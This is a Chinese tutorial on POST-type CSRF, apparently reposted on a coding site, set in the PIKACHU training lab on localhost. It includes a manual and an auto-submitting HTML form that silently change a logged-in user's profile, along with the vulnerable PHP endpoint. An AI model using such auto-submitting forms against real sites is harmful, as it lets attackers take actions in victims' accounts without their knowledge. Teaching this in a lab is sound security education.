CSRF | POST 型 CSRF 漏洞攻击

news2024/10/8 13:44:25

关注这个漏洞的其他相关笔记:CSRF 漏洞 - 学习手册-CSDN博客

0x01:POST 型 CSRF 漏洞攻击 —— 理论篇

POST 型 CSRF 漏洞是指攻击者通过构造恶意的 HTTP POST 请求,利用用户的登录状态,在用户不知情的情况下,诱使浏览器向受信任的网站发送请求,从而执行非用户意图的操作。

常见的攻击方式: 攻击者通过在站点中嵌入恶意代码,诱使受害者访问,当用户访问了嵌套恶意代码的站点,代码就会模拟用户的点击操作,伪造用户的身份向第三方存在 CSRF 漏洞的接口发起请求,进而误导第三方站点以为是受信用户的操作。

其攻击流程如下图所示:

POST 型 CSRF 的攻击流程与 GET 型很相似,只不过是换了个提交的方式而已,GET 型 CSRF 能通过链接触发,所以用户很容易就中招,而 POST 则需要通过表单才能触发,利用难度增加了一些。

0x02:POST 型 CSRF 漏洞攻击 —— 实战篇

实验工具准备

  • PHP 运行环境:phpstudy-x64-8.1.1.3.zip(Apache2.4.39 + PHP 5.6.9nts)

  • 实验环境:PIKACHU 靶场 - CSRF(post) => 参考:PIKACHU —— 靶场笔记合集

本次的实验环境,我们采用现成的 PIKACHU 靶场,PIKACHU 靶场的安装方法参考上面提供的链接,这里就不多说了,下面直接进入演示流程。

0x0201:POST 型 CSRF 攻击

在浏览器导航栏中输入下面的网址,访问实验环境:

 http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_login.php

随机挑选一个账号进行登录,这里笔者选择的是,allen:123456

点击 ”修改个人信息“ 按钮,并打开浏览器的 ”开发者工具“ 进行抓包:

然后随便修改点信息,比如我把手机号修改成,123456,并点击 submit 进行提交,注意抓包:

可以看到,我们向后端的 csrf_post_edit.php 接口发送了一个 POST 请求包,请求包的内容,就是我们修改的个人信息的值。

那么我们是不是也可以通过伪造一个 POST 请求发送给这个接口,来修改我们的个人信息呢。POST 请求是无法通过点击链接直接发送的,所以我们也可以写一个表单,来向 csrf_post_edit.php 接口发起请求:

 <!DOCTYPE html>
 <html lang="en">
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>POST Based CSRF</title>
 </head>
 <body>
     <!-- action 决定了表单向谁提交信息 -->
     <form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
         <input type="text" name="sex" value="boy">
         <input type="text" name="phonenum" value="123456">
         <!-- 修改了地址中的值 -->
         <input type="text" name="add" value="❤这个是我们修改后的值❤">
         <input type="text" name="email" value="allen@pikachu.com">
         <input type="submit" name="submit" value="submit">
     </form>
 </body>
 </html>

点击 “提交查询” 按钮后,页面会自动跳转到 allen 的个人会员中心页面,并且可以看到,住址一栏已经被修改:

上面的操作,还需要用户手动点击表单的提交按钮,接下来,我们编写代码,让表单自动提交。将下面的 HTML 代码直接复制进 HTML 文件中,然后双击打开即可:

 <!DOCTYPE html>
 <html lang="en">
 ​
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>POST Based CSRF</title>
 </head>
 ​
 <body>
     <!-- action 决定了表单向谁提交信息 -->
     <form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
         <input type="hidden" name="sex" value="boy">
         <input type="hidden" name="phonenum" value="123456">
         <!-- 修改了地址中的值 -->
         <input type="hidden" name="add" value="❤这个是我们修改后的值❤<br><p>❤庆祝 Blue17 突破 1000 粉丝!!❤</p>">
         <input type="hidden" name="email" value="allen@pikachu.com">
         <input type="submit" name="submit" value="submit" id="submit">
     </form>
     <!-- 使用 JavaScript 脚本自动提交上面的表单 -->
     <script> document.getElementById("submit").click(); </script>
 </body>
 ​
 </html>

打开后,你会发现,页面直接跳转到了个人信息的模块,并且信息中多了一行内容:

整个过程,用户需要做的只是:

  1. 登录个人会员中心。

  2. 访问攻击者发布的恶意界面。

然后,攻击就完成了。至此,POST 型 CSRF 攻击流程演示完毕。

0x0202:POST 型 CSRF 代码分析

下面是触发 POST 型 CSRF 漏洞的关键代码:

 // csrf_post_edit.php
 if (isset($_POST['submit'])) {
     if ($_POST['sex'] != null && $_POST['phonenum'] != null && $_POST['add'] != null && $_POST['email'] != null) {
         $getdata = escape($link, $_POST);
         $query = "update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
         $result = execute($link, $query);
         if (mysqli_affected_rows($link) == 1 || mysqli_affected_rows($link) == 0) {
             header("location:csrf_post.php");
         } else {
             $html1 .= '修改失败,请重试';
         }
     }
 }

上面的代码,简单来说,就是通过 $_POST 来获取前端用户传递过来的请求信息,并根据这些信息更新数据库中的内容。CSRF 漏洞发生的位置就是获取前端用户传递请求信息的部分。

因为接口的传参很有规律,所以攻击者可以很轻松的伪造符合规则的请求包给后端,后端无法校验该请求包是否是用户主动发起的,只知道,这个请求包是受信用户发送过来的,所以很自主的认为,这就是受信用户的主动操作。

正是这种服务端对客户端浏览器中缓存的登录凭证过于信任才导致的 CSRF 漏洞。

0x03:参考文献

  • 《白帽子讲 Web 安全》 ISBN 978-7-121-16072-1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2196486.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mythical Beings:Web3游戏如何平衡创造内容、关注度与实现盈利的不可能三角

Web3游戏自其诞生以来&#xff0c;以去中心化和独特的代币经济体系迅速引起关注。然而&#xff0c;如何在创造内容、吸引用户和实现盈利之间达到平衡&#xff0c;始终是Web3游戏面临的核心挑战。Mythical Beings作为一款Web3卡牌游戏&#xff0c;通过创新设计和独特机制&#x…

java集合框架都有哪些

Java集合框架&#xff08;Java Collections Framework&#xff09;是Java提供的一套设计良好的支持对一组对象进行操作的接口和类。这些接口和类定义了如何添加、删除、遍历和搜索集合中的元素。Java集合框架主要包括以下几个部分&#xff1a; 接口&#xff1a; Collection&…

昆虫分类与检测系统源码分享

昆虫分类与检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Visio…

成都睿明智科技有限公司抖音电商服务佼佼者

在当今这个数字化浪潮汹涌的时代&#xff0c;抖音电商以其独特的魅力迅速崛起&#xff0c;成为众多商家竞相追逐的新蓝海。而在这场电商盛宴中&#xff0c;专业的服务商如同灯塔一般&#xff0c;为迷茫的商家指引方向。今天&#xff0c;我们就来深入探讨一家备受瞩目的服务商—…

Qt-QSpacerItem布局相关控件(45)

目录 描述 属性 使用 控件小结 描述 使⽤布局管理器的时候,可能需要在控件之间,添加⼀段空⽩.就可以使⽤ QSpacerItem 来表⽰ 属性 width宽度height⾼度hData⽔平⽅向的 sizePolicy • QSizePolicy::Ignored : 忽略控件的尺⼨&#xff0c;不对布局产⽣影响。 • QSizePol…

业务封装与映射 -- FlexE

什么是FlexE FlexE&#xff08;灵活以太网技术&#xff0c;Flexible Ethernet&#xff09;是由OIF 定义的灵活以太客户端接口标准&#xff0c; 是承载网实现业务隔离和网络分片的一种接口技术&#xff0c;支持路由器和光传输设备之间的灵活以太网连接&#xff0c;实现接口侧业务…

牛顿法、L-M算法

在进行解方程的时候&#xff0c;如下所示方程 其中&#xff0c;相应的k11、k12、k21、k22都是已知常量&#xff0c;可以见到其是一个非线性方程。关于非线程方程的求解&#xff0c;我看到网上有两种方法&#xff0c;牛顿法与L-M算法。 1.牛顿法 之前貌似学过&#xff0c;学过…

基于SSM的服装自销电商平台设计

文未可获取一份本项目的java源码和数据库参考。 一、选题背景 在当今这个信息时代&#xff0c;“网上购物”这种购物方式已经为越来越多的人所接受&#xff0c;越来越多的人选择在网络上购买衣服&#xff0c;方便快捷且实惠。在这种背景之下&#xff0c;一个安全稳定并且强大…

Windows下的python安装教程_2024年10月最新最详细的安装指南

文章目录 前言一、下载python二、安装python三、验证环境四、配置环境变量&#xff08;可选&#xff09;总结 前言 Python 是一种广泛使用的高级编程语言&#xff0c;以其简洁易读的语法和强大的库支持而著称。无论你是初学者还是经验丰富的开发者&#xff0c;安装 Python 都是…

【Canvas与标牌】盾形银底红带Best Quality Premium标牌

【成图】 【代码】 <!DOCTYPE html> <html lang"utf-8"> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/> <head><title>BestQulityPremium金属牌重制版Draft2</title><style type&…

【YOLOv8实时产品缺陷检测】

YOLOv8应用于产品缺陷检测实例 项目概况项目实现YOLOv8安装及模型训练关键代码展示动态效果展示 项目概况 本项目是应用YOLOv8框架实现训练自定义模型实现单一零件的缺陷检测&#xff0c;软件界面由PyQt5实现。 功能已正式使用&#xff0c;识别效果达到预期。 项目实现 项目…

刷题 二分查找

二分查找 二分查找的本质就是 缩小有效范围 需要注意&#xff1a; int mid (left right) / 2; int mid left (right - left) / 2; 防止溢出 hot100 - 二分查找 ⭐️35. 搜索插入位置 找到第一个大于等于 target 的值 class Solution { public:// 目标: 找到第一个大于…

PD取电诱骗协议芯片支持PD3.1 支持大电流、大功率(28V5A 140W)快速充电。

PD取电快充协议芯片XSP16是受电端的一种PD取电快充协议芯片&#xff0c;它支持PD2.0/3.0&#xff0c;PD3.1、QC2.0/3.0、华为SCP/FCP、三星AFC等快充协议。支持UART串口发送电压/电流消息&#xff0c;供外部MCU读取&#xff0c;以便适应不同的负载。支持从充电器、车充、充电宝…

计算机基础知识:计算机中丢失 msvcr110.dll怎么修复?

1. msvcp110.dll 介绍 1.1 定义&#xff1a;Microsoft Visual C 2012的一部分 msvcp110.dll是Microsoft Visual C 2012 Redistributable Package的一部分&#xff0c;这是一个运行时库文件&#xff0c;包含了Microsoft Visual C 2012编译器所构建程序所需的函数和资源。 1.2…

使用Markdown Here插件生成邮件样式

使用Markdown Here插件生成邮件样式 通常大学生们都有给老师、助教使用邮箱发送作业的情景&#xff0c;怎样让自己发送的邮件美观呢&#xff0c;我们可以使用Markdown Here插件美化 以下为结果展示 Markdown Here 插件 官网地址 html代码 <font size"7", face…

大数据ETL数据提取转换和加载处理

什么是 ETL&#xff1f; 提取转换加载&#xff08;英语&#xff1a;Extract, transform, load&#xff0c;简称ETL&#xff09;&#xff0c;用来描述将资料从来源端经过抽取、转置、加载至目的端的过程。ETL一词较常用在数据仓库&#xff0c;但其对象并不限于数据仓库。 ETL&…

迎接国庆旅游热潮,火山引擎数据飞轮助力景区数智化升级

随着人们生活水平的提高和旅游消费观念的转变&#xff0c;国庆假期成为人们出行旅游的黄金时段。同程旅行发布的报告显示&#xff0c;北京、杭州、重庆、上海、南京、成都等城市仍是 “十一” 假期国内热门的目的地&#xff0c;而一些新兴的宝藏旅游目的地如新疆阿勒泰、云南迪…

《向量数据库指南》——Fivetran+Mlivus Cloud:打造AI搜索神器

哈哈,各位向量数据库和 AI 应用的同仁们,今天咱们来聊聊一个超级实用的话题——如何借助 Fivetran 和 Mlivus Cloud 构建 AI 驱动的搜索工具,从非结构化数据中挖掘出无尽的宝藏! 在这个信息爆炸的时代,非结构化数据已经成为了企业最重要的资产之一。它包含了大量的文本、…

进入猛增模式后,小米股价还剩下多少上涨空间?

猛兽财经核心观点&#xff1a; &#xff08;1&#xff09;小米集团的股价已经上涨到了2022年以来的最高点。 &#xff08;2&#xff09;股价从2023年的最低点上涨了185%以上。 &#xff08;3&#xff09;随着智能手机的需求反弹和电动汽车利润率的增长&#xff0c;猛兽财经认为…

YOLOv10改进策略【注意力机制篇】| NAM 即插即用模块,重新优化通道和空间注意力(含二次创新)

一、本文介绍 本文记录的是基于NAM模块的YOLOv10目标检测改进方法研究。 许多先前的研究专注于通过注意力操作捕获显著特征&#xff0c;但缺乏对权重贡献因素的考虑&#xff0c;而这些因素能够进一步抑制不重要的通道或像素。而本文利用NAM改进YOLOv10&#xff0c;通过权重的贡…